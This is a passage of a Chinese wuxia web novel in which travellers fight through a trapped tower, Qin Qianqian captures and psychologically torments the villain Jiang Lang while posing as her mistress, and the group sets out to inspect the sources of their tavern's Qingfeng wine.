进楼后第一次中招，白邵禾快速转过头，元德赶忙转身。谁成想这一转身给他看到了，从屋子正中间开始往外蠕动的虫子。他赶忙拉着王老怪的胳膊，示意他看这个。
“这是不是我的幻觉！”
王老怪转身一看，腿都快吓软了，那密密麻麻的蠕虫，看的人直犯恶心。“这不是幻觉，快快快！来不及解释了，咱们赶紧找楼梯上楼吧。”
那些蠕虫爬过的地方刺啦作响，王老怪猜测那种粘液应该有毒性，被这种东西碰到，想想就很不好。可眼下有两个通道，到底改选哪个呢？
“会不会……”元德一着急脑子就停止思考，他话还没说完，白邵禾就斩钉截铁地否定了他。
“不可能两个都能用的，他们是想我们死在这里，而不是很轻易就上了楼。”白邵禾来回查看那两个处于面对的门，他想起之前看过建造书中讲的基本原理。
修建高楼，每层的配重都很重要，最好的结构是前一层跟后一层完全相同。但全都这样未免太过千篇一律，于是对称型建筑应运而生。
其中最简单的就是，一层的楼梯修建在左侧，那下一层的楼梯就要修建在右侧。
而且这乾天妖楼，第一层是九面墙壁九根柱子，到了第二层，全部都变成了八层。也就是说要想满足配重的话，所有的楼梯都是要交错开来。
想通这点，白邵禾带着他们选了一个通道。看着眼前又一个平台的时候，白邵禾喊住了元德。经过前面两层，他也弄明白了，只要人站在房中，那么机关就会启动。
眼下正好趁着上楼时，重振旗鼓。王老怪没觉得这里多危险，最起码前面那两层，跟闹着玩一样。于是他的态度松懈了下来，开始跟他们开起了玩笑。
“这里也就不过如此嘛，我看都没给你们大展拳脚的机会啊。”
王老怪的做人准则就是，想到什么就说什么，哪怕情况马上会急转直下，也挡不住他这要说的嘴。白邵禾被他这种淡然的心情逗笑了，他无奈地摇摇头。
“如你所愿，接下来应该一关比一关刺激了。”
现如今的形式跟书中描述的一样，一楼不仅不恐怖，甚至还有几分唯美；二楼则是营造一种紧张的感觉，让人慌慌张张地往上跑；而三楼肯定就要有实打实的凶兽了。
不过唯一让白邵禾疑惑的是，野兽听力敏锐，有人踏入它们领地，有些野兽是会嘶吼警告的，可自从接近乾天楼，他们就没听到一声吼叫。
百思不得其解，他只好先暂时搁置这个问题，休整差不多，他们继续往前走。这次的机关没给他们什么反应的时间，无数条蛇从上面掉下来。
三个人都有心里防范，只不过奈何毒蛇数量太多，总有那么几条挂在了脖子上。从看到蛇的第一秒，王老怪就麻利地掏出雄黄粉，开始往他们身上撒，脚边站着的地上撒。
元德不怕蛇，所以他倒没有很惊讶，一边清理身上的蛇，一边抬头看白邵禾怎么样。白邵禾神色一凛，他赶忙抬手揪掉咬在他脖子上的一条蛇，可肩膀上的蛇也开始张大嘴巴咬了下去。
不止是他，王老怪肩头小腿也被咬了好几下，元德跟他们差不多。不知怎地，这里的蛇有一部分完全不怕雄黄粉。
王老怪只能拿出自己的酒葫芦，在三个人四周浇出来一个圈，白邵禾懂他要干什么，就直接打开火折子引燃了地上的酒。
这下三人算是有了一点空闲，能清理一下身上的蛇。王老怪摘完身上的蛇，他不停用脚把圈中的蛇踢出去。
“还好，这些蛇都是无毒的，就是我们待会儿得在楼梯上处理一下伤口。”王老怪疼的龇牙咧嘴的，这些蛇的毒牙上有倒钩，使劲拔出来就会撕裂伤口。
没多大一会儿，三个人已经浑身伤痕了，鲜血汩汩流出。白邵禾不安地皱了皱眉头，这层的目的怕是已经达成了：让人伤痕累累，浑身血腥味。
他都不敢想，下一个楼层的野兽，闻到一楼的癫狂粉末再加上这么浓重的血腥味，会有多兴奋。
白邵禾在心中盘算，找到楼梯方位后，赶忙指给他们。
“楼梯在那里，进了楼梯后，不要犹豫赶紧往上走。这次的楼梯有可能会塌下去。”
果然，上了楼梯后，没有给他们一丝喘息的机会。纯木的踏板开始一块儿接一块儿地消失，这就让他们只能马不停蹄地往上跑。
跟九只龇牙咧嘴、甚至在流着口水的狼对上眼时，白邵禾都被气笑了。只能说乾天楼是懂得拿捏人心的，若是这一层是什么黑熊、或者老虎什么单打独斗的，那闯进来的人尚可一战。
结果竟然是狼这种团结协作的野兽，白邵禾跟元德把王老怪护在身后，两个人抽出长剑挡在身前。狼群也没有立马采取行动，双方陷入了僵持。
白邵禾飞快地找到楼梯应该在的位置，他们缓缓挪过去，其中有个狼按捺不住冲了上来，元德飞快调整站姿，朝着狼脸
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劈去。不知是不是长剑的寒光闪到了狼眼，那狼突然停住，灰溜溜地跑了回去。
就这样，他们一边往门边挪，一边抵挡偶尔扑上来却又迅速撤回的独狼。几个回合下来，哪怕没有交锋，白邵禾和元德都有些疲累了。
而且狼群是有战术的，每次跳出来的狼都是随机的，其它的有在好好休息。好不容易转移到楼梯，王老怪却发现这门打不开。
“完了，这墙这上面有锁眼的……”听到王老怪失望的声音，白邵禾冷笑了一声：“我知道那钥匙在哪了，就在头狼的脖子上。”
这也就是说，不杀光这些狼，是没办法往上走的了。白邵禾攥紧手中的长剑，大战在所难免，那就从现在开始吧。谁知从顶格上面飘下来一些灰色的烟雾，他们没法躲避，只能被烟雾包裹了个彻底。
“啧……”王老怪痛的捂住肩膀，可恶，这些烟雾会加重伤口的痛感。他满眼担心地看着身前的两个人，他们两个几乎是脸色惨白了。“抓住江郎，真的要把他千刀万剐了的。”
这一路上来，白邵禾心中一惊十分不痛快了，现如今他咬着后槽牙附和：“是啊，就这几关了，待会儿我们就杀上去。”
“王老怪，待会儿机敏点，别让这些畜生伤害到你。”元德大声嘱咐王老怪，王老怪抽出腰间经年不用的一把匕首，一副迎战的姿态。
脚步声渐进，屋中沉闷的氛围产生了一丝波动，而后门被打开，两个人压着桃花花走了进来，走到屋子中央，那两个人一用力把桃花花推搡到地上。
“住手！”桑风雪大喊一声，她攥紧手中的鞭子，仿佛随时准备跳上去跟江郎决一死战。江郎行为放浪地倚在雕龙画凤的椅子上，他手中捻着一把扇子，支起了自己的下巴。
他一脸不耐烦地摆了下手：“来人，给我拿下她。你主人都没有说话，你在这里叫嚣什么，没规矩。”而后他一下展开扇子，起身朝姜千秋这边走过来。
“姜千秋，怎么一句话都不说？还是说，你压根不是姜千秋！”那人眼神突然凶狠起来，他已经跟她们在这里耗一个时辰了，眼前的姜千秋又不说话，又不动手，看着就像是个假冒的。
江郎一开始就是这么想的，依照姜千秋的实力，她向来都不屑于用这种低劣的手段试探自己的吧。因此，他直接找人偷梁换柱，把三拨人全都绑了。
看他耐心告罄，姜千秋眼神漠然地挑了下眉：“怀疑谁你都不该怀疑我，当年你霸占民女，我阉了你这件事情。除了我，还有谁知道？”
她不解地歪了下头，一脸天真无辜的样子。江郎倒吸一口凉气，瞬间恼羞成怒，他飞快地出手朝姜千秋脖子掐去。谁知那人一掌打在他腕骨上，打得他整个人往一边歪去。
站稳脚步后，江郎满脸惊讶地转头看着她。是了，有能力跟自己过几招的人，就是姜千秋没错了！
趴在地上的桃花花和桑风雪也惊住了，主要是秦千千那个草包几斤几两她们都清楚的……看来，姜千秋真的回来了！
13. 反杀
“我找你这么多年，你总算是露面了。”江郎随手扔了扇子，眼前的人不是假装的，那他可得提起十二万分精神了。对面的姜千秋压根没看他，而是径直走到桃花花身边，把她从地上扶了起来。
“是吗？当年你跪在我脚边求我放过你的时候，我就不该心软的。”姜千秋面色平静地提起当年的事情，这算是戳了江郎的痛点，他怒目而视，一副咬牙切齿的样子，走到姜千秋身边。
“呵，怎么？几年不见你的功夫只停留在嘴上了吗？我告诉你，我已经不是当初的我了，所以来吧，这次我们一决生死！”说着，江郎随手脱掉了外面穿着的宽大的纱衣，他的眼神死死盯住姜千秋。
姜千秋抬眸瞥了一眼他，提出了自己的要求。
“可以，只不过你要放她们，还有妖楼中的人离开。”
这话把江郎听笑了，他为什么要这么做？姜千秋为什么要这么要求？
“你简直单纯的不像是你！你把我打死，一了百了，这些喽啰你自然可以带走。可若是你打不过我，我就送她们去给你陪葬！”
说到这里，江郎的脸上流露出不悦。乾天楼是他一手修建的，里面的宠物也是他自己精心喂养的，他最听不得别人说这是妖楼。
“妖？姜千秋，要真论的话，这世间恐怕只有你适合妖这个字吧？漂泊无依、居无定所……不，你算不得妖，你就是个鬼！”
看着眼前格外破防的人，姜千秋双手环胸，笑得轻蔑又无情。
“这则消息算是本阁主送你的，不收你的钱。贺知州，也就是你的至交，那个跟你商议好怎么绞杀我的人，派来取你人头的杀手，已经到了锦宁县边界了。你早些年替他儿子卖命，现在替他卖命，你开心吗？”
当年贺知州跟江郎官商勾结，负责跟江郎联系的人是贺知州儿子贺亮峰。贺亮峰是个贪财好色却不近男色的主，可谁知江郎就是对他情根深种。
有次江郎谋划迷晕了贺亮峰，准备霸王硬上弓，谁知道贺知州从姜千秋那里买到了消息，准备当场诛杀江郎，顺便贪墨他的全部家产。
殊不知那时，姜千秋已经调换了情报中两人居住的房间。就这样，贺知州作茧自缚，自己间接杀了强占民女、无恶不作的儿子。当夜姜千秋放了江郎一马，作为教训，她阉了那个人。
再后来她知道江郎虽然不再强占民女，但又在做人口买卖的事情。可那是姜千秋有要事在身，也就没有时间修理他……
江郎眼中闪过一丝诧异，他当即反驳，说这不可能。但他心中却清楚，世间最真的消息，就是姜千秋说出来的消息。芳草阁阁主，从不说假话。
因此，才有阁主一字值万金的说法。
“卸磨杀驴这种事情，短短几年在你身上发生两次，真的是让人扼腕叹息。”
若是换别人来说，江郎一定会情绪爆发，甚至动手杀了那人也说不定。姜千秋语气中没有丝毫悲悯，她只是在陈述事实。
“无所谓了，我早就想去阴间见贺公子了。所以今天我就先杀了你，带着你去跟他赔罪！”江郎的眼神狠厉起来，立马起了架势准备动手。
他练得一手龙爪鹰钩，因此他指关节似鹰爪一样张开，搭配上用颜料染黑的尖指甲，看着还挺唬人的。
不过姜千秋不吃这一套。她左手食指中指并拢，在江郎右胸口点了一下。而后以中指为支点转动手腕，大拇指按在那人肋间。随后右手握拳打在那人心口，一套动作行云流水，让江郎来不及反抗。
就这么被捶的向后跌倒，毫无防备地倒在地上。桑风雪和桃花花赶忙跑过来，一扑而上钳制住了江郎。就这样，三个人挟持住江郎，火速赶往乾天楼。
一路上江郎都在破口大骂，还拼尽全力地挣扎。奈何桃花花一直给他灌某种汤药，让他有劲儿使不出，浑身软绵绵的。姜千秋懒得搭理他，让桑风雪直接用布条勒住他的嘴。
到了乾天楼后，姜千秋看一眼地上的东西，就交代那两个人把他摁在那粉末上面。姜千秋转身就要去乾天楼，桃花花不懂，可桑风雪有听说过，她赶忙叫住了姜千秋。
“那里面危险，你要多加小心。”看着桑风雪言辞恳切，姜千秋就知道她误会自己了。一层一层杀上去太慢了，她知道哪里有捷径可以走。
姜千秋走到漆红大门旁边的黑墙前，抬手一按，原本完整的墙壁就显出一个门的轮廓。这种秘密通道，是只有建造者自己才知道的。因为往往修建乾天妖楼的工人，也会在没建成的时候被杀掉。
江郎诧异于连这种事情她都知道，败在她手里，江郎觉得无话可说。姜千秋不再管园中的人，她拾阶而上，在听到动静的楼层前停了下来。
推开那扇隐形门的时候，一柄飞刀朝她飞了过来。她脚下一滑险些摔倒，不过因祸得福，正好飞刀从她脸颊擦过。
白邵禾没有想到，秦千千怎么来了这里。
“先下去再说吧。”
一行人回到地面，江郎还是被捆在地上，她们不敢停留，直接带着江郎又逃到镇外的破庙中。在上马车的时候，绑住江郎嘴巴的布条脱落，他朝姜千秋咆哮。
“姜千秋，你好卑鄙！用这种方法，也是胜之不武！”
白邵禾与元德在乾天楼中跟几匹狼厮杀，早就筋疲力竭了。自打上车以后，他们都在闭目养神。可听到江郎这话，白邵禾倏然睁开眼睛，元德也不可自抑地吞了口口水。
别说他们，一路长吁短叹的王老怪也猛地转过头，盯着“姜千秋”。“早就知道真相”的桃花花和桑风雪，表现得比较淡定，但看向她的眼神多了一丝敬畏……
秦千千皱眉回瞪所有人，而后开始一个接一个的回答他们。
“不是，你们是太看得起我，还是太看不起主人？主人怎么可能用嘴上功夫，再加上偷袭拿下他啊？”
“桑姐姐、桃花花，你们不是吧？你们两个也没看出来我是假扮的？”
桑风雪惊讶地合不拢嘴，眼前要不是姜千秋，那她怎么一掌把江郎拍歪，又是怎么一拳把他拳倒的呢？桃花花也在一旁附和。<
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“是啊，千千的武功怎么样我都是知道的啊！她绝对不会有这种武功的。”
秦千千被气得笑了出来，她最近一直在偷王老怪的药，这人居然没有察觉吗？而且她早就察觉到，王老怪从见面开始，就在给她们下毒。还只给桑风雪解药，那自己和桃花花怎么办，只能去桑风雪那里偷解药啊！
说到这里，桑风雪和王老怪才恍然大悟。
“怪不得她的解药消耗的那么快！”
“怪不得我隔三差五就得找他要解药！”
也就在这个时候，桃花花才反应过来，千千整天强迫她吃的那个药丸，原来是解药。白邵禾心情差到了极点，他阴沉着脸说出了死亡问题：“所以你下毒是为了什么？”
元德也有些气急败坏，怎么能在没被察觉的情况下，就让殿下被人下了这么久的毒。
“你现在下毒药只毒了我们两个啊！这毒药有什么功效，不会对身体不好吧？”
这一下把王老怪推到了风口浪尖，他如芒在背，好在有人出来替他转移了话题。江郎闭着眼睛缓了好久，而现在他终于想明白了。
原来从两人一靠近开始，秦千千就在给自己下毒。而他自己时不时腿软，他把此归咎为姜千秋带给自己的阴影……至于被她一拳拳到胸口的心脏刺痛，恐怕是她手中藏了根针吧……
“秦千千！你是真的该死啊！我做鬼都不会放过你的！”他叫嚣着就要朝秦千千扑过去，秦千千赶忙往桑风雪那边躲了躲，事到如今，她倒是不介意再送那人点情报。
“谁知道，用那么一点点情报就唬住你了。我还有更厉害的，还没说呢。”
江郎牙齿咬得咯咯响，他大喊让她说，秦千千被吵的用手捂住耳朵。
“你最在意的那个问题，我只能说，给我们赚了不少钱呢。”说着，秦千千目光下移，江郎愣了一下后又开始拼死挣扎，口中的污言秽语就没再听过。
都是些骂秦千千贱人，骂姜千秋不信守承诺的话。秦千千接受自己被骂，可骂到主人的时候，她实在忍不了了。看着眼前的将死之人，想着再逗逗他又怎么样。
“你们清风酒楼不是不会卖假消息吗？我去买了那么多次，为什么告诉我，从来没有这个消息？”
秦千千双手环胸，笑得开心。
“好问题！我们酒楼唯一一个卖假消息的人，就是我。而且我家主人确实没跟我说这事儿，是你派人来问的太频繁，太过在意。我就直接把消息加工了一下卖出去了。”
说完，秦千千无辜地耸了耸肩膀，再补上两句：“而且，我的假消息只卖给你一个人。待会儿你死了，我们酒楼还是童叟无欺、一身清风呢。”
白邵禾深深看了她一眼，这人是真的会气人啊。他撇过头闭目养神，毕竟他刚刚受的气完全不比江郎少。他都不知道，自己究竟要被秦千千这拙劣的骗术骗多少次……
“白公子，元德，你们是不是受伤了啊？”秦千千关切地问他们两个，虽然这两个人都不是太想搭理她。
14. 出京的原因
白邵禾自然知道不搭理她的确不好，他只能耐着性子说道：“确实有点不适，等到了地方，还请神医给我们医治医治。”后半句话，他直接看向身边的王老怪，不想跟秦千千沟通的意愿十分明显。
秦千千不知是察觉到了，还是怎地，反正这一路她就再没怎么说过话了。直到桑风雪她们压着江郎下车，那人发了疯似的朝秦千千撞过来，好在桑风雪反应的快，提住那人后脖领。
不然，看那架势是真的要把秦千千撞倒的。
“你别乱动！”桑风雪的倔脾气也上来了，她钳住那人下巴，直接扇了过去。江郎被打的嘴角流血，他吐掉血水后恶狠狠地瞪着桑风雪。
王老怪实在不想看这人耍横了，他从包中掏出一块儿方布，又取出蒙汗药倒在布上，直接从后面捂住了江郎的口鼻。
把人药晕后，他不耐烦地摆手：“走，我们把他抬进去。”
白邵禾一声不吭地走在前面，在破庙中找个角落坐下后，他这才查看起身上的伤口。都是些撕裂伤，有些浅显的伤口已经结痂，有些却依旧在渗血。
“王老怪特制的药，叫什么我不太清楚，但绝对有用的。”秦千千拿着几瓶药膏走了过来，小心翼翼地跟白邵禾说。元德赶忙跑过来，他可不能让千金之躯的殿下乱被用药。
“老板，不如这药先让我用用试试吧。我这伤口真的是疼的厉害。”说着，元德呲牙咧嘴地给秦千千展示自己手上的伤口，她也没有多想，开始给元德上起了药。
“白公子，那你稍等一会儿，元德这个看起来比较严重。”
她一边上药，还一边跟白邵禾解释。白邵禾当然是没有异议的，这种乌七八糟的东西，他的确不是很想用。
秦千千跪坐在地上，她先把一个蓝色细颈瓶中的黑色粉末，倾倒在伤口处，然后又拿起脚边的三个红瓶子中的一个，就要倒上去的时候，远处给自己包扎的王老怪喊住了她。
“错了！是二红，不是三红！”秦千千连忙点头，哦了两声。元德无言以对，敢情这是还没出师就来行医的草头医生啊……
“老板，你搞清楚啊，上药这种事情错不得吧！”元德隐隐有想收回自己手的架势，秦倩倩抓住他的手腕，把他的手按在腿上。
“我当然会了！我现在这是给你演示一下，待会儿这种胳膊啊、肩膀啊什么的地方的，你们自己上药就行了。”
技术堪忧但嘴最硬的秦千千，三下五除二给他上好了一只手的药。元德抬起手看了看，心中下定决定，还是不要让殿下用这种药了，看起来非常不靠谱。
一层粉末一层水，如此这般重复三次，每次还是不一样颜色的水。元德很难想象这种东西，对伤口会有什么帮助……最重要的是，伤口连包扎都没有，就这么晾在那里。
打发走秦千千后，元德小声跟白邵禾提议，千万别用这个方子。不过元德自己，也只好谨遵老板的叮嘱。
白邵禾眉头紧皱，如此粗犷的治疗手段，他的确也不是很想用。元德悄悄塞给他两瓶金创药，白邵禾点头，自顾自地开始上起了药。
看着屋中几个人在上药，桃花花总觉得得给他们留些独处的空间，毕竟看起来他们身上也是伤口……于是，她提议三个女生先出去。
“为什么要出去？我们刚进来现在屋中好好休整一下吧。”桑风雪不解地问，秦千千也歪着头疑惑，桃花花恼火的很，她只好道出原委。
“啊~因为这个啊，那我们确实得避一下嫌……”秦千千终于懂了其中的意思，可桑风雪还在一本正经地疑惑。
“都生死攸关的地步了，还分什么男女？江湖上……”
眼看她又有谈起江湖儿女那一套，秦千千朝桃花花使眼色，两人一左一右拉走了桑风雪。转头回来关门的时候，秦千千嘱咐他们动作快点。
“老怪物，你弄好了去帮帮他们两个啊！”
王老怪瞪了秦千千一眼，骂骂咧咧地让她快走。等秦千千出门后，桑风雪还在纠结那个问题。
对于混迹江湖的人来说，赤身裸体的羞耻自然比不过死亡，秦千千能懂她固执的点，于是只好顺着她的意思说下去。
“是是是，我知道你的意思。可问题是我们两个脸皮薄啊，而且主人教我们的时候就说，要懂礼义廉耻。所以你进去看他们没问题，我们两个自然不行啦。”
事到如今，桃花花还不忘挖苦她一下：“等等，你的脸皮可比我厚多了啊！你居然假班主人，你等着主人回来我跟她告状去吧！”
秦千千无所谓地挑挑眉，比起这事儿，桃花花更生气的应该是自己的骗术把她也骗进去了吧？果然，被戳到痛点的桃花花开始满院子地“追杀”她。
两个人绕着桑风雪跑来跑去，都快把桑风雪绕晕了。桑风雪只好一手抓住一人的胳膊，强行喊了暂停。
“千千，这次她让你出京，肯定不是让你来玩的吧？所以你们的目的地到底是哪里。”桑风雪早就想问这个问题了，姜千秋直说让她援救她们，但并未说目的地。
桃花花心性单纯，王老怪又是被绑来的，剩下一个新招进店不久的伙计元德，还有个顺便同路而行的商贾之子白邵禾。这些人自然不会知道最终的目的地，唯有秦千千，也只有秦千千知道。
屋中的白邵禾也好奇这个问题，因此听到这话后，他也支棱起了耳朵。
谁知就在此时，王老怪过来问他们情况，他压下心中的不悦，用眼神暗示元德去应付王老怪，这才能安静听外面说话。
秦千千一秒认真了起来，她往前走了一步，神秘兮兮地跟她们和盘托出。
清风酒楼的两大招牌，没有买不来的情报和无处买得来的清风酒。这清风酒就是她们酒楼的另一块儿金字招牌。
《礼记·月令》中描述了酿酒的规范和要求：
“仲冬之月，乃命大酋，秫稻必齐，曲蘖必时，湛炽必洁，水泉必香，陶器必良，火齐必得。兼用六物，大酋兼之，毋有差贷。”
“我用大白话给你们翻译一下，也就是说酿酒用的材料、器具、泉水、甚至酿酒的火候，这都是有说法的。而这也就是咱们清风酒的独门秘方。”
说起酒楼事宜的时候，秦千千就显得可靠了那么几分，毕竟她接手酒楼的经营已经有几年了。为了最好的口感，
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她们不惜重金，样样都是从最好的产地运送入京的。
其中就包括跌仙泉的泉水、赢土之国的秫稻、仰韶的曲蘖以及回甘无限的醴泉底部的泉泥。而最近送进京的清风酒却出了一些问题，因此姜千秋才准允秦千千外出巡商，去这几个地方看看，到底是哪里出了纰漏。
别的人没听太懂，白邵禾却听得一清二楚。那醴泉和赢土之国，分明是上古天书《山海经》中提到过的地方。没想到姜千秋居然用神话中的地方，来命名这些产地。
白邵禾心想，姜千秋果然是个老古董。又或者说，她的确很会引经据典。
“所以我们这次的行进路线，就是去探访这几个地方的。眼下第一个地方还没到，就已经捅出这么大的篓子了……所以桑姐姐，你这一路可千万要跟我们同行啊！不然，我们能不能活着回京都是一个问题。”
秦千千拉住桑风雪的手，一脸真诚地说。桑风雪本就答应过姜千秋一路同行的，所以她现在自然是想都没想就答应了。一旁的桃花花恍然大悟，她之前说清风酒味道变了，秦千千还说她在胡说八道。
“你几个月前就知道了！那你当时还骗我！”桃花花揪着秦千千肩头的衣服，左右摇晃她。秦千千赶忙捂住她的嘴，压低声音训斥她：“嘘！这事儿传出去，咱们酒楼的生意还做不做了？”
白邵禾沉默着眨眨眼，怪不得常年坐守一方的秦千千出京，原来是动摇到清风酒楼的根本了。不然，他还真没有机会结识秦千千呢。
毕竟在京城，在清风酒楼里，秦千千可是一字千金的人。而且也不是什么人都能见到她的。不过白邵禾倒是好奇，到底是什么人，能动了姜千秋的场子。
外面聊的差不多了，王老怪古道热肠地过来给白邵禾上药，他喊着元德给白邵禾脱衣服。正准备用自己药的时候，元德却阻止了他。
“等等！白公子自己带了金创药，给他上金创药吧。”元德塞给王老怪一瓶，他打开盖子闻了闻，还真别说，这金创药的用料确实有些讲究。
“嗯，闻起来成色不错啊！只不过，比起我那些瓶瓶罐罐，可是错远了啊！”
白邵禾心中只当他是自卖自夸，谁好谁坏这种事情，一眼就能看出来吧？这边金创药刚刚上完，白邵禾还在系腰带的时候，地上躺着的江郎醒了。
他抬头看着屋中的几个人，又开始对他们大呼小叫起来：“现在捆着我算什么本事，还不如直接杀了我！秦千千，你这个贱人，贱人！”
喊了一圈，江郎才发现，秦千千压根不在屋中。王老怪走过来，停在他身边，连连咂舌。
“别叫了，会杀了你的，待会儿她就来了。”
要不是秦千千特意交代活捉他，桑风雪也不会留他到现在。元德去招呼秦千千进屋，她进来后却让剩下的人都出去，她要单独跟江郎聊。
白邵禾担心江郎对她不利，就跟元德左右站在门外，万一有什么变故，他们可以马上进屋。
只不过奇怪的是，就连听力极佳的白邵禾，除了刚开始江郎的嘶吼外，没听到屋里有任何别的动静。秦千千没说一句话，可江郎却突然哭的撕心裂肺。
15. 流氓
秦千千只是从怀中拿出半块儿残缺的玉佩，这东西是她留这杀人诛心用的。
这世间恐怕只有三个人，知道这玉佩的来路。其中两个就是玉佩的所有人，江郎和贺亮峰。第三个人，应该就是姜千秋。
当年江郎拿着传家宝双龙玉佩赠心上人。谁知道玉佩不小心损毁，贺亮峰当时还安慰他，两人正好一人一半。可后来有一江洋大盗，行窃贺家时，把那半边玉佩偷走了。
眼前那半边玉佩，正是贺亮峰被偷走的半边。
江郎咆哮着让秦千千把玉佩还给自己，他不顾形象地在地上挣扎，秦千千一脸无奈，她蹲在地上把玉佩放在那人面前。
“想听听其中的故事吗？听完之后，你才不至于在阴曹地府见到贺亮峰的第一面，就再次被他捅一刀。”
“不许你那么说他！你闭嘴！”
秦千千扶着膝盖起身，不管他想不想听，如实地说起当初的故事。她不是担心江郎被骗，而是不想坏人死的太痛快。
被他奴役和买卖的人，或许要痛苦一辈子。秦千千不想果决地给他来上一刀，那真的是太便宜他了。
“你完全是自作多情！贺亮峰是什么人，他自小就是个纨绔子弟，虽说口味百无禁忌，但他不喜欢男人。为什么跟你逢场作戏，我想你也清楚，你的经商天赋别人望尘莫及。所以，一切都是你一厢情愿的倒贴而已。”
秦千千一边说，一边绕着他转圈：“当初玉佩就是他亲手摔的，为什么？嫌弃你恶心而已。然后玉佩是怎么丢的呢，他去青楼喝花酒的时候，随便送给别人的罢了。”
江郎咬牙切齿地看着她，看秦千千丝毫没有要停下来的意思，他一摆腿想要踢到秦千千。她可惜地咂么嘴，往后退了一步。
“而且，你常年瞒着贺知州，去祭拜的那座坟，里面埋着的也不是你的心上人。那人死之前说的最后一句话，就是再也不要见到你。”
秦千千说完，江郎已经彻底崩溃了。他面目狰狞地嘶吼，说她在骗人，诅咒她不得好死。秦千千居高临下地看着他，眼神中全是戏谑。
“是真是假，你心里有数。你大可觉得我这是在编故事，那能怎么样呢？信不信由你了。”
江郎怎么会不信，他一脸错愕地愣在当场，泪水划过鼻梁流进另一只眼睛里。不知道是不是疯了，他用力地抬头撞地，一下比一下重。
秦千千面无表情的转身出门，被门边站着的两个人吓了一跳，完全没有刚刚面对恶人的游刃有余，一秒破了功。
“吓死我了！元德，你进去收拾了他，然后把尸体曝尸荒野。各位，咱们上车吧，时候不早了，咱们得赶去下一站了。”
白邵禾以闯荡江湖的身份跟着秦千千她们，所以他不好开口问接下来的行程。坐在车上赶路的时候，王老怪忍不住问她，下一站到底是哪。
“那你可是问对了，下一站是个好地方。大家都疲累那么久，那个镇子上以温泉著名，咱们正好去休整一番。”
白邵禾看向窗外的眼神一凛，看来是要到清风酒的第一个原产地，那个叫跌仙泉的地方了。车中其它的人在聊些有的没的，聊着聊着，秦千千就提起了他们身上的伤疤。
“这种伤疤，怎么着也得十天半个月吧？”元德难掩脸上的嫌弃，这秦千千真是笨的出奇，从破庙走总共没几个时辰，怎么可能现在就长好了呢？
王老怪不认可地摇头：“此言差矣！行走江湖，最怕的就是趁你病要你命。所以我那个药，就是让伤口快速恢复的。擦伤或者浅伤什么的，不消半日。咱们这次的重一点，我估计顶多两天就好了。”
这东西元德能不知道？他常年出任务，各种旧伤之上添新伤的，因此对王老怪的话，他是一个字都不信。行骗江湖也就算了，他们都同行多久了，还骗他们呢。
就在这时，元德低头看了眼自己手背上的伤口，那原本裂开的皮肉的确已经愈合了！
“这……”他不可思议地瞪大眼睛，还用左手搓了搓那里。摸到完整皮肉后，他震惊地抬头看向王老怪。王老怪胸有成竹地挑了挑眉：“看吧，我这个药还是有用的啊！”
白邵禾维持着往窗户外看的姿势，现在聊的这个话题，他不想牵扯进去……想起几个时辰前，他和元德在嘲讽人家的草头方，现在心中就有说不出的感觉。
白邵禾心想，有这等奇才，怎么会浪迹江湖？应该带回去为天家效力。
好在经过几天的折腾，所有人都疲累不堪。因此上车没一会儿，沉沉睡去的就一大片。目前也就白邵禾、元德还有桑风雪清醒着。王老怪更夸张，他直接打起了呼噜。
“白公子，你这次离家闯荡，就这么漫无目的地游荡吗？”
不知桑风雪是不是意有所指，反正白邵禾就当听不出来，他一脸无奈地笑笑，说自己也不知道。
“跟秦小姐同行的这段时间，所见所闻，远胜过我之前的生平。而且我也正想借这个机会，见识一下江湖的波澜壮阔。”
他在宫闱之中长大，纵使自小饱受恩宠，可对于人情世故方面，白邵禾还是非常游刃有余的。像这种不暴露任何目的的废话，他可谓是信手拈来。
桑风雪转头看了一眼秦千千，也是难为她，二十岁出头的年级，就得处理那么多的事情。“这倒也是，江湖瞬息万变，着实引人入胜。只怕白公子日后太纵情江湖，不愿回去，那可是难办了。”
白邵禾低头轻笑，没想到这桑风雪这个性情中人，还会讲玩笑话。车中的氛围些许松泛起来，三个人有一搭没一搭的聊着，聊到桑风雪为何闯荡江湖，她勾唇一笑。
“这个故事可长了，改日再聊吧。夜深了，白公子也早些休息吧。”
等她气息平稳沉沉睡去后，元德才缓缓睁开眼。他轻轻唤白邵禾，想查看一下他的伤势。白邵禾皱眉摇头，现在依旧不是说这个的时候。
翌日辰时，她们才遇到一个设在路边的包子铺。桃花花嚷嚷着要下车歇歇，再坐在马车中颠簸，她骨头都要散架了。
“嘿，你这小丫头片子！你才十九岁，散什么架！要散架也得是王老怪先来吧！”秦千千一觉睡到第二天，因此精力充沛的很，她打趣完王老怪赶紧跑走了。
留下王老怪在车里长吁短叹，桑风雪用剑柄悄悄轿门，催促他下来：“快点下来吧，千千说今天她请客，过时不候啊！”
这还得了，王老怪赶忙起身跳下车，往包子铺走去。
“老板，不管别人要多少，先给我来两屉包子！”奔着狠狠宰一笔秦千千的架势，王老怪一溜烟跑到包子铺，他甚至等不及老板给他们端，直接自己端了两屉过去。
“……”秦千千一脸无语，看着她下一秒就要骂人了，桑风雪无奈地朝她
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摇摇头。“算了，他撑破肚子也多花不了你多少钱，不是吗？”
“哎哎哎，话可不是那么说的啊！我这赚多少都是辛苦钱，每一文钱我都心疼着呢！”秦千千捂着心口后悔，这一屉一屉下去，自己身上仅剩的十两银子，怕是都要交代在这里吧。
桃花花发现这里还有稀饭，她就站在锅边要几碗稀饭。“你们谁要稀饭，这里还有稀饭呢。”
“要！我这里来两碗！”王老怪一手抓一个包子，还不忘继续点菜。剩下的人量力而行，就这样几个人一早上吃了九十多文。秦千千从随身背着的包袱里拿钱，手伸进包袱摸了好久，才凑出最后六文钱。
店家没生气，老板还在笑呵呵地看着她们打趣秦千千，毕竟和气生财。谁知道后面有几个流氓勃然大怒，越过白邵禾他们，就要去推搡秦千千。
“怎么这么久？没钱吃饭就赶紧滚蛋！在这儿站着看什么呢？几文钱都要摸这么久，赶紧麻溜滚一边去！”为首的人穿着深灰色坎肩，露出强壮的小麦色胳膊，一把揪住秦千千的包袱。
拽过包袱后，他随后一扔，就把包袱扔出去老远。
秦千千呆呆地瞪着那个人，其余跟着的混混也开始围上来，颇有一副地痞打群架的意思。元德正准备出手，却被白邵禾眼神规劝拦了下来。
原来从他们马车后面飞出来一个人，那人白衣胜雪，身姿挺拔，不费吹灰之力就接住了那个包袱，站定后脚微微一点，就飞到了那壮汉身后。
“几个男人欺负一个弱女子不太好吧？”晏信单手背在身后，右手提着包袱，施施然地开口。那几个混混完全不跟他废话，转过头来就是一顿打。
